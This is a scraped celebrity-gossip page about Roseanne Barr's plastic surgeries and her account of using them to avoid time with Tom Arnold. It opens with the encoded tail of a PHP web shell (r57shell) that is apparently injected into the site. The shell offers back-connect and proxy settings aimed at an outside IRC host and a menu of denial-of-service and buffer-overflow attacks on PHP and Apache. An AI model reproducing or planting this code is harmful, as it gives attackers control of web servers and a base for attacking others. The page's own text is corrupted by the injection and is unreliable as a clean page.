fdGV4dDIzJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2xvY2FsX3BvcnQnLDEwLCcxMTQ1NycpKTsKZWNobyBzcig0MCwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjQnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywncmVtb3RlX2hvc3QnLDEwLCdpcmMuZGFsbmV0LnJ1JykpOwplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyNSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdyZW1vdGVfcG9ydCcsMTAsJzY2NjcnKSk7CmVjaG8gc3IoNDAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDI2J10uJGFycm93LiI8L2I+IiwiPHNlbGVjdCBzaXplPVwiMVwiIG5hbWU9XCJ1c2VcIj48b3B0aW9uIHZhbHVlPVwiUGVybFwiPmRhdGFwaXBlLnBsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cIkNcIj5kYXRhcGlwZS5jPC9vcHRpb24+PC9zZWxlY3Q+Ii5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpKTsKZWNobyBzcig0MCwiIixpbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ1J10pKTsKZWNobyAkdGUuIjwvdGQ+Ii4kZmUuJGZzLiI8dGQgdmFsaWduPXRvcCB3aWR0aD0yNSU+Ii4kdHM7CmVjaG8gIjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz5Qcm94eTwvZGl2PjwvYj48L2ZvbnQ+IjsKZWNobyBzcig0MCwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTAnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywncHJveHlfcG9ydCcsMTAsJzMxMzM3JykpOwplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyNiddLiRhcnJvdy4iPC9iPiIsIjxzZWxlY3Qgc2l6ZT1cIjFcIiBuYW1lPVwidXNlXCI+PG9wdGlvbiB2YWx1ZT1cIlBlcmxcIj5QZXJsPC9vcHRpb24+PC9zZWxlY3Q+Ii5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpKTsKZWNobyBzcig0MCwiIixpbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ1J10pKTsKZWNobyAkdGUuIjwvdGQ+Ii4kZmUuIjwvdHI+PC9kaXY+PC90YWJsZT4iOwp9CgplY2hvICR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQxNDAnXSwnaWQzOCcpLiR0YWJsZV91cDIuZGl2KCdpZDM4JykuJHRzLiI8dHI+PHRkIHZhbGlnbj10b3Agd2lkdGg9NTAlPiIuJHRzOwplY2hvICI8Zm9udCBmYWNlPVZlcmRhbmEgY29sb3I9cmVkIHNpemU9LTI+PGI+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDE0MSddLiI8L2Rpdj48L2I+PC9mb250PiI7CmVjaG8gc3IoMTAsIiIsJGZzLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2RvczEnKS5pbignc3VibWl0Jywnc3VibWl0JywwLCdSZWN1cnNpdmUgbWVtb3J5IGV4aGF1c3Rpb24nKS4kZmUpOwplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlkZGVuJywnY21kJywwLCdkb3MyJykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwnTWVtb3J5X2xpbWl0IGV4aGF1c3Rpb24gaW4gWyBwYWNrKCkgXSBmdW5jdGlvbicpLiRmZSk7CmVjaG8gc3IoMTAsIiIsJGZzLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2RvczMnKS5pbignc3VibWl0Jywnc3VibWl0JywwLCdCb0YgaW4gWyB1bnNlcmlhbGl6ZSgpIF0gZnVuY3Rpb24nKS4kZmUpOwplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlkZGVuJywnY21kJywwLCdkb3M0JykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwnTGltaXQgaW50ZWdlciBjYWxjdWxhdGUgKDY1NTM1KSBpbiBaZW5kRW5naW5lJykuJGZlKTsKZWNobyBzcigxMCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG9zNScpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJ1NRbGl0ZSBbIGRsKCkgXSB2dWxuZXJhYmlsaXR5JykuJGZlKTsKZWNobyBzcigxMCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG9zNicpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJ1BDUkUgWyBwcmVnX21hdGNoKCkgXSBleGhhdXN0aW9uIHJlc291cmNlcyAoUEhQIDw1LjIuMSknKS4kZmUpOwplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlkZGVuJywnY21kJywwLCdkb3M3JykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwnTWVtb3J5X2xpbWl0IGV4aGF1c3Rpb24gaW4gWyBzdHJfcmVwZWF0KCkgXSBmdW5jdGlvbiAoUEhQIDw0LjQuNSw1LjIuMSknKS4kZmUpOwplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlkZGVuJywnY21kJywwLCdkb3M4JykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwnQXBhY2hlIHByb2Nlc3Mga2lsbGVyJykuJGZlKTsKZWNobyBzcigxMCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG9zOScpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJ092ZXJsb2FkIGlub2RlcyBmcm9tIEhELkkgdmlhIFsgdGVtcG5hbSgpIF0gKFBIUCA0LjQuMiwgNS4xLjIpJykuJGZlKTsKZWNobyBzcigxMCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG9zMTAnKS5pbignc3VibWl0Jywnc3VibWl0JywwLCdCb0YgaW4gWyB3b3Jkd3JhcCgpIF0gZnVuY3Rpb24gKFBIUCA8NC40LjIsNS4xLjIpJykuJGZlKTsKZWNobyAkdGUuIjwvdGQ+PHRkIHZhbGlnbj10b3Agd2lkdGg9NTAlPiIuJHRzOwplY2hvICI8Zm9udCBmYWNlPVZlcmRhbmEgY29sb3I9cmVkIHNpemU9LTI+PGI+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDE0MSddLiI8L2Rpdj48L2I+PC9mb250PiI7CmVjaG8gc3IoMTAsIiIsJGZzLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2RvczExJykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwnQm9GIGluIFsgYXJyYXlfZmlsbCgpIF0gZnVuY3Rpb24gKFBIUCA8NC40LjIsNS4xLjIpJykuJGZlKTsKZWNobyBzcigxMCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG9zMTInKS5pbignc3VibWl0Jywnc3VibWl0JywwLCdCb0YgaW4gWyBzdWJzdHJfY29tcGFyZSgpIF0gZnVuY3Rpb24gKFBIUCA8NC40LjIsNS4xLjIpJykuJGZlKTsKZWNobyBzcigxMCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG9zMTMnKS5pbignc3VibWl0Jywnc3VibWl0JywwLCdBcnJheSBDcmVhdGlvbiBpbiBbIHVuc2VyaWFsaXplKCkgXSA2NCBiaXQgZnVuY3Rpb24gKFBIUCA8NS4yLjEpJykuJGZlKTsKZWNobyBzcigxMCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG9zMTQnKS5pbignc3VibWl0Jywnc3VibWl0JywwLCdCb0YgaW4gWyBzdHJfaXJlcGxhY2UoKSBdIGZ1bmN0aW9uIChQSFAgPDUuMi54KScpLiRmZSk7CmVjaG8gc3IoMTAsIiIsJGZzLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2RvczE1JykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwnQm9GIGluIFsgaHRtbGVudGl0aWVzKCkgXSBmdW5jdGlvbiAoUEhQIDw1LjEuNiw0LjQuNCknKS4kZmUpOwplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlkZGVuJywnY21kJywwLCdkb3MxNicpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJ0ludGVnZXIgT3ZlcmZsb3cgaW4gWyB6aXBfZW50cnlfcmVhZCgpIF0gZnVuY3Rpb24gKFBIUCA8NC40LjUpJykuJGZlKTsKZWNobyBzcigxMCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG9zMTcnKS5pbignc3VibWl0Jywnc3VibWl0JywwLCdCb0YgaW4gWyBzcWxpdGVfdWRmX2RlY29kZV9iaW5hcnkoKSBdIGZ1bmN0aW9uIChQSFAgPDQuNC41LDUuMi4xKScpLiRmZSk7CmVjaG8gc3IoMTAsIiIsJGZzLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2RvczE4JykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwnTWVtb3J5IEFsbG9jYXRpb24gQm9GIGluIFsgbXNnX3JlY2VpdmUoKSBdIGZ1bmN0aW9uIChQSFAgPDQuNC41LDUuMi4xKScpLiRmZSk7CmVjaG8gc3IoMTAsIiIsJGZzLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2RvczE5JykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwnT2ZmIEJ5IE9uZSBpbiBbIHBocF9zdHJlYW1fZmlsdGVyX2NyZWF0ZSgpIF0gZnVuY3Rpb24gKFBIUCA1PDUuMi4xKScpLiRmZSk7CmVjaG8gc3IoMTAsIiIsJGZzLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2RvczIwJykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwnUmVmZXJlbmNlIENvdW50ZXIgT3ZlcmZsb3cgaW4gWyB1bnNlcmlhbGl6ZSgpIF0gZnVuY3Rpb24gKFBIUCA8NC40LjQpJykuJGZlKTsKZWNobyAkdGUuIjwvdGQ+PC90cj48L2Rpdj48L3RhYmxlPiI7CgplY2hvICc8L3RhYmxlPicuJHRhYmxlX3VwMy4iPC9kaXY+PC9kaXY+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPm8tLS1bIHI1N3NoZWxsIHwgdmVyc2lvbiAiLiR2ZXJzaW9uLiIgfCA8YSBocmVmPWh0dHA6Ly9yc3Qudm9pZC5ydT5SU1Q8L2E+IHwgPGEgaHJlZj1odHRwOi8vZ2hjLnJ1PkdIQzwvYT4gfCA8YSBocmVmPWh0dHA6Ly93d3cuYW50aWNoYXQucnU+RWxla3QgZWRpdGlvbjwvYT4gfCBHZW5lcmF0aW9uIHRpbWU6ICIucm91bmQoZ2V0bWljcm90aW1lKCktc3RhcnR0aW1lLDQpLiIgXS0tLW88L2I+PC9mb250PjwvZGl2PjwvdGQ+PC90cj48L3RhYmxlPiI7CmVjaG8gJzwvYm9keT48L2h0bWw+JzsK"));
    exit;
    }
    ?>
    Roseanne Barr, Plastic SurgeryComedienne Roseanne Barr has always openly admitted to having a multitude of plastic surgeries, but now she is explaining why.

    At the time of her plastic surgeries Roseanne was notoriously unhappy to actor Tom Arnold. For the duration of their 4-year marriage from 1990-1994, Roseanne says she would have cosmetic surgery done just to get away from spending time with him.

    She says, “Every time I had a break I would have surgery. I think just to get away from him and then when I came back there’d be nurses in the house and I wouldn’t be alone with him.”

    It has previously been reported that some of her plastic surgeries were done for health reasons, including a nose job to correct her sleeping problems and a breast reduction.  In addition, the actress, writer, talk-show host, and comedienne has also had a facelift, cheek implants, surgery on her chin, a tummy tuck and liposuction.

    Commenting on the appearance of people with plastic surgery, the notoriously sarcastic media personality has said, “Now I realize that everyone has to get old and die, but it was still a very bad experience….No one looks better after plastic surgery. Just pink and shiny. At the end of it, you look like an idiot.”

    It does seem pretty idiotic to have plastic surgery to get away from your husband. Isn’t that what weekends away with the girls are for?

    In any case, pink and shiny seem look better than the mess Roseanne portrayed on her self-titled sitcom in the 1990’s.

    Read the complete plastic surgery profile of Roseanne Barr on Plasticopedia, the largest celebrity plastic surgery encyclopedia.

    See Before & After Plastic Surgery Photos

    Chat on Plastic Surgery Message Boards

    Shop for Plastic Surgery & Beauty Products

    none

    Comments